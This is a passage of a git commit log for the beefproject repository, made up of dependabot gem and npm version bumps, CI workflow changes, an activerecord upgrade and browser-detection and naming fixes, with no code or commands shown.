- [Commits](https://github.com/ruby/json/compare/v2.8.2...v2.9.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:21:40 +00:00
github-actions[bot]
834dbefd7f Merge pull request #3234 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.1.1
Bump jsdoc-to-markdown from 9.0.5 to 9.1.1
2024-12-22 23:10:33 +00:00
dependabot[bot]
b6d5df2216 Bump jsdoc-to-markdown from 9.0.5 to 9.1.1
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.0.5 to 9.1.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.0.5...v9.1.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:04:41 +00:00
github-actions[bot]
aa52603708 Merge pull request #3230 from beefproject/dependabot/bundler/selenium-webdriver-4.27.0
Bump selenium-webdriver from 4.26.0 to 4.27.0
2024-11-27 08:09:57 +00:00
dependabot[bot]
9c0db4cd89 Bump selenium-webdriver from 4.26.0 to 4.27.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.26.0 to 4.27.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.26.0...selenium-4.27.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-26 13:20:13 +00:00
github-actions[bot]
4a2280116d Merge pull request #3223 from beefproject/dependabot/bundler/rdoc-6.8.1
Bump rdoc from 6.7.0 to 6.8.1
2024-11-21 05:43:02 +00:00
dependabot[bot]
afa8eeda6c Bump rdoc from 6.7.0 to 6.8.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.7.0 to 6.8.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.7.0...v6.8.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-21 05:42:49 +00:00
github-actions[bot]
d2d63c4240 Merge pull request #3221 from beefproject/dependabot/bundler/json-2.8.2
Bump json from 2.8.1 to 2.8.2
2024-11-21 05:39:21 +00:00
dependabot[bot]
da65882a83 Bump json from 2.8.1 to 2.8.2
Bumps [json](https://github.com/ruby/json) from 2.8.1 to 2.8.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.8.1...v2.8.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-21 05:39:06 +00:00
zinduolis
b076783753 Merge pull request #3227 from beefproject/revert-3226-add_enable_auto_merge
Revert "Add enable auto merge to dependabot yml"
2024-11-21 15:24:34 +10:00
zinduolis
aeaafb5e27 Revert "Add enable auto merge to dependabot yml" 2024-11-21 15:21:38 +10:00
zinduolis
d85e14c1e6 Merge pull request #3226 from zinduolis/add_enable_auto_merge
Add enable auto merge to dependabot yml
2024-11-21 15:16:54 +10:00
zinduolis
355ee93608 Add enable auto merge to dependabot yml 2024-11-21 15:10:22 +10:00
zinduolis
bbeb8cd063 Merge pull request #3225 from zinduolis/quick_fix_dependabot_auto
Update merge target branch for dependabot
2024-11-21 14:56:09 +10:00
zinduolis
fd117dada2 Update merge target branch for dependabot 2024-11-21 14:52:22 +10:00
zinduolis
912a9aa7c0 Merge pull request #3224 from zinduolis/dependabot_automerge_v2
Automate dependabot merging
2024-11-21 14:44:21 +10:00
zinduolis
dca48fae4e Automate dependabot merging 2024-11-21 14:38:36 +10:00
zinduolis
33717fcc9f Merge pull request #3210 from zinduolis/automate_browserstack_3206
Update GitHub Actions not to require approval to run auto tests (#3206)
2024-11-08 21:40:13 +10:00
zinduolis
2f4e5fdf09 Production ready github_actions.yml 2024-11-08 21:33:08 +10:00
zinduolis
5d7f6372b6 Test gh workflow without approval 2024-11-08 21:14:11 +10:00
zinduolis
4648d9a97c Merge pull request #3209 from beefproject/dependabot/bundler/json-2.8.1
Bump json from 2.7.6 to 2.8.1
2024-11-08 19:36:57 +10:00
dependabot[bot]
49401c4175 Bump json from 2.7.6 to 2.8.1
Bumps [json](https://github.com/ruby/json) from 2.7.6 to 2.8.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.6...v2.8.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-07 13:30:49 +00:00
zinduolis
f6d0115625 Merge pull request #3183 from zinduolis/3182_Resubmit_PR 2024-11-07 07:11:50 +10:00
zinduolis
18f2d6d396 Merge branch '3182_Resubmit_PR' of https://github.com/zinduolis/beef into 3182_Resubmit_PR 2024-11-06 19:51:19 +10:00
zinduolis
f383da04b6 Allow for four digit segments 2024-11-06 19:50:45 +10:00
zinduolis
e612a24c1b Improve security of browser version matching regex 2024-11-06 19:50:45 +10:00
zinduolis
ad23184646 Reapply "Merge branch 'pr/zinduolis/3149-3'"
This reverts commit 074efc7de6.
2024-11-06 19:50:45 +10:00
zinduolis
41f04d17ea Merge pull request #3205 from beefproject/dependabot/bundler/json-2.7.6
Bump json from 2.7.5 to 2.7.6
2024-11-06 19:32:50 +10:00
dependabot[bot]
c1126bf0c8 Bump json from 2.7.5 to 2.7.6
Bumps [json](https://github.com/ruby/json) from 2.7.5 to 2.7.6.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.5...v2.7.6)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-06 09:27:32 +00:00
zinduolis
66e234e630 Merge pull request #3195 from beefproject/dependabot/bundler/sqlite3-2.2.0
Bump sqlite3 from 1.7.3 to 2.2.0
2024-11-06 15:25:16 +10:00
dependabot[bot]
504985092c Bump sqlite3 from 1.7.3 to 2.2.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.3 to 2.2.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.3...v2.2.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-06 05:10:53 +00:00
zinduolis
3136718897 Merge pull request #3202 from zinduolis/activerecord_upgrade_to_7_2
Upgrade activerecord to 7.2 and refactor code for new version
2024-11-06 15:09:52 +10:00
zinduolis
17fb0cf602 Merge branch 'activerecord_upgrade_to_7_2' of https://github.com/zinduolis/beef into activerecord_upgrade_to_7_2 2024-11-06 14:47:00 +10:00
zinduolis
5205c33535 Resolving merge conflicts 2024-11-06 14:44:04 +10:00
zinduolis
fb211c2d58 Revert one more gh action change 2024-11-06 14:43:04 +10:00
zinduolis
f7b052572e Revert gh action update 2024-11-06 14:43:04 +10:00
zinduolis
b80b0ff9b1 Update gh action to run of workflow code in PR 2024-11-06 14:43:04 +10:00
zinduolis
32ad62fa77 Remove version from gh action 2024-11-06 14:43:04 +10:00
zinduolis
23b8e891ad Add current version of ruby for automated testing 2024-11-06 14:42:17 +10:00
zinduolis
5bd0752deb Resolving merge conflicts 2024-11-06 14:41:57 +10:00
zinduolis
05ba4b832b Merge branch 'activerecord_upgrade_to_7_2' of https://github.com/zinduolis/beef into activerecord_upgrade_to_7_2 2024-11-06 14:34:40 +10:00
zinduolis
752ab1c27a Revert one more gh action change 2024-11-06 14:34:26 +10:00
zinduolis
15c091e91e Revert gh action update 2024-11-06 14:28:26 +10:00
zinduolis
ce528f1f4e Update gh action to run of workflow code in PR 2024-11-06 14:27:19 +10:00
zinduolis
a62cb63d9c Upgrade activerecord to 7.2 and refactor code for new version 2024-11-06 14:21:24 +10:00
zinduolis
150f0651de Merge pull request #3204 from zinduolis/update_gh_actions
Update GitHub workflow for Browserstack testing
2024-11-06 08:14:41 +10:00
zinduolis
8183a07e67 Update checkout and ruby versions 2024-11-05 20:19:31 +10:00
zinduolis
29db262453 Revert one more gh action change 2024-11-05 20:11:21 +10:00
zinduolis
e1a4716ed0 Revert gh action update 2024-11-05 20:09:15 +10:00
zinduolis
bb7e145c32 Update gh action to run of workflow code in PR 2024-11-05 19:58:39 +10:00
zinduolis
8b5fdcfc4d Merge pull request #3203 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.0.5
Bump jsdoc-to-markdown from 9.0.4 to 9.0.5
2024-11-05 19:17:20 +10:00
dependabot[bot]
6252342791 Bump jsdoc-to-markdown from 9.0.4 to 9.0.5
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.0.4 to 9.0.5.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.0.4...v9.0.5)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-04 13:51:05 +00:00
zinduolis
2ce3ad755f Update checkout action to the current version 2024-11-04 19:11:23 +10:00
zinduolis
45b61e9b5c Remove version from gh action 2024-11-04 18:43:33 +10:00
zinduolis
4043f46b08 Add current version of ruby for automated testing 2024-11-04 18:27:17 +10:00
zinduolis
752717301e Upgrade activerecord to 7.2 and refactor code for new version 2024-11-04 15:56:25 +10:00
zinduolis
59b33066ee Merge pull request #3196 from beefproject/dependabot/bundler/rubocop-1.68.0
Bump rubocop from 1.67.0 to 1.68.0
2024-11-01 14:36:28 +10:00
dependabot[bot]
e75022daa5 Bump rubocop from 1.67.0 to 1.68.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.67.0 to 1.68.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.67.0...v1.68.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-31 13:39:10 +00:00
zinduolis
63513f87bc Merge pull request #3191 from beefproject/dependabot/bundler/json-2.7.5
Bump json from 2.7.4 to 2.7.5
2024-10-31 16:39:54 +10:00
dependabot[bot]
8e4a754c3e Bump json from 2.7.4 to 2.7.5
Bumps [json](https://github.com/ruby/json) from 2.7.4 to 2.7.5.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.4...v2.7.5)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-31 06:35:38 +00:00
zinduolis
ced9bb3c3b Merge pull request #3192 from beefproject/dependabot/bundler/selenium-webdriver-4.26.0
Bump selenium-webdriver from 4.25.0 to 4.26.0
2024-10-31 16:34:39 +10:00
dependabot[bot]
6ebf8d6263 Bump selenium-webdriver from 4.25.0 to 4.26.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.25.0 to 4.26.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.25.0...selenium-4.26.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 13:16:57 +00:00
zinduolis
aed85df393 Merge pull request #3166 from beefproject/dependabot/bundler/otr-activerecord-2.4.0
Bump otr-activerecord from 2.2.0 to 2.4.0
2024-10-30 15:24:58 +10:00
dependabot[bot]
9e4374aeee Bump otr-activerecord from 2.2.0 to 2.4.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.2.0 to 2.4.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.2.0...v2.4.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 05:20:01 +00:00
zinduolis
362cff215d Merge pull request #3178 from beefproject/dependabot/bundler/execjs-2.10.0
Bump execjs from 2.9.1 to 2.10.0
2024-10-30 15:18:48 +10:00
dependabot[bot]
7f41338e06 Bump execjs from 2.9.1 to 2.10.0
Bumps [execjs](https://github.com/rails/execjs) from 2.9.1 to 2.10.0.
- [Release notes](https://github.com/rails/execjs/releases)
- [Commits](https://github.com/rails/execjs/compare/v2.9.1...v2.10.0)

---
updated-dependencies:
- dependency-name: execjs
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 05:13:40 +00:00
zinduolis
8d1693cc6c Merge pull request #3181 from beefproject/dependabot/bundler/json-2.7.4
Bump json from 2.7.2 to 2.7.4
2024-10-30 15:06:52 +10:00
dependabot[bot]
e9371c2ed6 Bump json from 2.7.2 to 2.7.4
Bumps [json](https://github.com/ruby/json) from 2.7.2 to 2.7.4.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.7.2...v2.7.4)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 05:01:41 +00:00
zinduolis
092a277f94 Merge pull request #3185 from beefproject/dependabot/bundler/rexml-3.3.9
Bump rexml from 3.3.8 to 3.3.9
2024-10-30 15:00:21 +10:00
dependabot[bot]
96563d5901 Bump rexml from 3.3.8 to 3.3.9
Bumps [rexml](https://github.com/ruby/rexml) from 3.3.8 to 3.3.9.
- [Release notes](https://github.com/ruby/rexml/releases)
- [Changelog](https://github.com/ruby/rexml/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/rexml/compare/v3.3.8...v3.3.9)

---
updated-dependencies:
- dependency-name: rexml
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 04:57:05 +00:00
zinduolis
f0b0b7fbfd Merge pull request #3164 from beefproject/dependabot/bundler/rack-2.2.10
Bump rack from 2.2.9 to 2.2.10
2024-10-30 14:54:51 +10:00
dependabot[bot]
864336aa46 Bump rack from 2.2.9 to 2.2.10
Bumps [rack](https://github.com/rack/rack) from 2.2.9 to 2.2.10.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.9...v2.2.10)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-30 04:49:07 +00:00
zinduolis
e27704d1b5 Merge pull request #3165 from beefproject/dependabot/bundler/rubocop-1.67.0
Bump rubocop from 1.66.1 to 1.67.0
2024-10-30 14:16:32 +10:00
zinduolis
147137bd15 Allow for four digit segments 2024-10-29 20:31:53 +10:00
zinduolis
6976117e9f Improve security of browser version matching regex 2024-10-29 20:20:00 +10:00
zinduolis
2cbe73a6c3 Merge remote-tracking branch 'origin/master' into 3182_Resubmit_PR 2024-10-28 21:11:03 +10:00
dependabot[bot]
ed35c2f679 Bump rubocop from 1.66.1 to 1.67.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.66.1 to 1.67.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.66.1...v1.67.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-27 22:03:30 +00:00
Stephen
4b926dff44 Merge branch 'pr/zinduolis/3176' 2024-10-28 08:02:17 +10:00
zinduolis
6744516e15 Fix debug mod data handling 2024-10-27 19:48:23 +10:00
zinduolis
7aaabe0ff7 Troubleshooting 2024-10-27 19:42:36 +10:00
zinduolis
2163e732ce Troubleshooting 2024-10-27 19:25:06 +10:00
zinduolis
f3216f16c5 Troubleshooting 2024-10-27 19:19:05 +10:00
zinduolis
3fdc5b6e2a Troubleshooting 2024-10-27 19:12:39 +10:00
zinduolis
60d30b11cc Troubleshooting 2024-10-27 19:06:39 +10:00
zinduolis
3c5f9a246a Troubleshooting 2024-10-27 18:59:10 +10:00
zinduolis
dafbef7fd8 Troubleshooting 2024-10-27 18:52:31 +10:00
zinduolis
3ba21b2a0f Troubleshooting 2024-10-27 18:45:13 +10:00
zinduolis
1fb094c545 Troubleshooting 2024-10-27 18:36:08 +10:00
zinduolis
dca1636261 Troubleshooting 2024-10-27 16:55:21 +10:00
zinduolis
b230e5a4c8 Troubleshooting 2024-10-27 16:48:56 +10:00
zinduolis
050e014e4c Troubleshooting 2024-10-27 16:41:50 +10:00
zinduolis
f816eb50b9 Troubleshooting 2024-10-27 16:37:46 +10:00
zinduolis
1cd9d0d8ad Fix another data handling issue 2024-10-27 16:32:51 +10:00
zinduolis
740d056142 Fix another data handling issue 2024-10-27 16:27:01 +10:00
zinduolis
21bb951586 Add graceful error handling for format inconsistency 2024-10-27 16:13:37 +10:00
zinduolis
590c32e66d Troubleshoot issue with test 2024-10-27 16:03:24 +10:00
Stephen
a355075389 Merge branch 'pr/zinduolis/3171' 2024-10-27 04:55:53 +10:00
zinduolis
3480fd385c Reapply "Merge branch 'pr/zinduolis/3149-3'"
This reverts commit 074efc7de6.
2024-10-26 14:53:38 +10:00
Stephen
074efc7de6 Revert "Merge branch 'pr/zinduolis/3149-3'"
This reverts commit d88439dda5, reversing
changes made to 4287153468.
2024-10-26 04:48:45 +10:00
zinduolis
1b17d3c067 Remove testing bits and fix issue with activerecord breaking change 2024-10-25 15:42:29 +10:00
Stephen
d88439dda5 Merge branch 'pr/zinduolis/3149-3' 2024-10-25 11:38:06 +10:00
zinduolis
42dcac8d9c Testing 2024-10-24 15:45:15 +10:00
zinduolis
37cca9b2a2 Testing 2024-10-24 15:40:00 +10:00
zinduolis
ac110a3c53 Test browserstack creds 2024-10-24 15:29:35 +10:00
zinduolis
b760016923 Test Browserstack credentials 2024-10-24 15:14:46 +10:00
zinduolis
4c0cbfa1e0 Merge branch 'master' into fix-cors-terminology 2024-10-23 17:04:27 +10:00
zinduolis
a5a8196792 Fix origin / domain terminology (#1688) 2024-10-23 16:07:17 +10:00
Stephen
4287153468 Update stale workflow configuration 2024-10-21 04:15:44 +10:00
zinduolis
db2eb060ab Extend browser name check with bowser-js/bowser 2024-10-18 17:39:01 +10:00
dependabot[bot]
cf95fa0143 Bump jsdoc-to-markdown from 8.0.3 to 9.0.2
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 8.0.3 to 9.0.2.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v8.0.3...v9.0.2)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-16 13:28:54 +00:00
Stephen
89ed6cce8e Resolved merge conflict in Gemfile.lock 2024-10-16 05:18:12 +10:00
Stephen
1e94201f91 Update tins gem version to 1.35.0 2024-10-16 05:07:57 +10:00
Stephen
c43179b93f Merge branch 'pr/zinduolis/3159' into veganlol-merge 2024-10-15 04:48:49 +10:00
Stephen
db28734fbc Refactor veganlol function
to cookieValueRandomizer in browser/cookie.js
2024-10-15 04:48:45 +10:00
Stephen
79c04a7376 Fix typos 2024-10-15 04:12:55 +10:00
zinduolis
6e8c5b6291 Downgrade otr-activerecord to previous working version 2.2.0 2024-10-11 20:35:39 +10:00
zinduolis
f9c74c1e60 Revert otr-activerecord from 2.4.0 back to 2.2.0 to fix broken activerecord reference 2024-10-10 09:14:53 +10:00
Stephen
924f8fac1d Update Ruby version to 3.2.2 2024-10-10 05:19:58 +10:00
zinduolis
078a87f910 Merge branch '2040_Rename_veganLol' of https://github.com/zinduolis/beef into 2040_Rename_veganLol
Merging remote changes into my branch to get the latest changes.
2024-10-08 17:10:57 +10:00
zinduolis
189e9451e0 Rename veganLol and refresh jsdocs (#2040) 2024-10-08 17:07:23 +10:00
zinduolis
a02cc1a63a Fix FF browser name discovery - extend it based on CSS element 2024-10-07 15:20:12 +10:00
Stephen
63f6db2f0c Merge branch 'dependabot/bundler/otr-activerecord-2.4.0' into bump-gems 2024-10-07 04:36:58 +10:00
Stephen
aa58b415cc Merge branch 'bump-gems' into dependabot/bundler/selenium-webdriver-4.25.0 2024-10-07 04:34:14 +10:00
Stephen
bc4763dd01 Merge branch 'bump-gems' into dependabot/bundler/uglifier-4.2.1 2024-10-07 04:26:52 +10:00
Stephen
fe46c04162 Merge branch 'bump-gems' into dependabot/bundler/irb-1.14.1 2024-10-07 04:25:07 +10:00
Stephen
fb8f6c4a35 Merge branch 'bump-gems' into dependabot/bundler/webrick-1.8.2 2024-10-07 04:22:13 +10:00
Stephen
517897a2e7 Merge branch 'bump-gems' into dependabot/bundler/mime-types-3.6.0 2024-10-07 04:20:00 +10:00
Stephen
8aa0b97268 Merge branch 'dependabot/npm_and_yarn/jsdoc-to-markdown-9.0.2' into bump-gems 2024-10-07 04:13:30 +10:00
zinduolis
6a1fdfb62c Rename veganLol and refresh jsdocs (#2040) 2024-10-04 17:30:25 +10:00
zinduolis
aa4479b517 Revert browser name check based on userAgent 2024-10-04 16:22:37 +10:00
dependabot[bot]
0fba1347f8 Bump mime-types from 3.5.2 to 3.6.0
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.5.2 to 3.6.0.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/History.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.5.2...v3.6.0)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-10-02 13:06:42 +00:00
zinduolis
e741748b29 Update browser version matching regex 2024-09-30 20:01:35 +10:00
dependabot[bot]
1e62e83cde Bump otr-activerecord from 2.2.0 to 2.4.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.2.0 to 2.4.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.2.0...v2.4.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-29 19:32:21 +00:00
dependabot[bot]
7a2a213c84 Bump selenium-webdriver from 4.24.0 to 4.25.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.24.0 to 4.25.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.24.0...selenium-4.25.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-29 19:32:20 +00:00
dependabot[bot]
c2231925ab Bump webrick from 1.8.1 to 1.8.2
Bumps [webrick](https://github.com/ruby/webrick) from 1.8.1 to 1.8.2.
- [Release notes](https://github.com/ruby/webrick/releases)
- [Commits](https://github.com/ruby/webrick/compare/v1.8.1...v1.8.2)

---
updated-dependencies:
- dependency-name: webrick
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-29 19:32:20 +00:00
zinduolis
330f92bc6a Fix invalid plugins condition #3051 2024-09-29 22:02:41 +10:00
dependabot[bot]
ac3dc2df59 Bump irb from 1.14.0 to 1.14.1
Bumps [irb](https://github.com/ruby/irb) from 1.14.0 to 1.14.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.14.0...v1.14.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-27 13:19:16 +00:00
zinduolis
5d7fbe162c Fix invalid version condition #3051 2024-09-27 19:38:24 +10:00
dependabot[bot]
70978f227c Bump jsdoc-to-markdown from 8.0.3 to 9.0.2
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 8.0.3 to 9.0.2.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v8.0.3...v9.0.2)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-26 13:49:49 +00:00
zinduolis
aebc9949f6 extended the existing functionality for browser name 2024-09-25 17:17:51 +10:00
zinduolis
d6dd75f23a Fix invalid browser name issue for Firefox, Chrome and Opera (#3051) 2024-09-24 15:50:36 +10:00
dependabot[bot]
cd3a7d47c9 Bump uglifier from 4.2.0 to 4.2.1
Bumps [uglifier](https://github.com/lautis/uglifier) from 4.2.0 to 4.2.1.
- [Changelog](https://github.com/lautis/uglifier/blob/master/CHANGELOG.md)
- [Commits](https://github.com/lautis/uglifier/compare/v4.2.0...v4.2.1)

---
updated-dependencies:
- dependency-name: uglifier
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-23 13:33:35 +00:00
dependabot[bot]
7cb0a39b67 Bump rubocop from 1.64.0 to 1.66.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.64.0 to 1.66.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.64.0...v1.66.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-09-15 19:11:13 +00:00
zinduolis
955a004506 Non breaking dependency upgrade 2024-09-13 21:23:52 +10:00
Stephen
26531fe0af Merge branch 'master' into dependabot/bundler/rdoc-6.7.0 2024-05-24 05:24:55 +10:00
dependabot[bot]
f679efb672 Bump rubocop from 1.63.4 to 1.64.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.4 to 1.64.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.4...v1.64.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-23 19:09:57 +00:00
dependabot[bot]
2b12e4875a Bump selenium-webdriver from 4.20.1 to 4.21.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.20.1 to 4.21.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-23 18:40:15 +00:00
dependabot[bot]
a3221b4c8e Bump rdoc from 6.6.3.1 to 6.7.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.6.3.1 to 6.7.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.6.3.1...v6.7.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-23 18:40:09 +00:00
Stephen
aeda7fc415 Merge branch 'bump-gems' into dependabot/bundler/rexml-3.2.8 2024-05-23 08:06:35 +10:00
Stephen
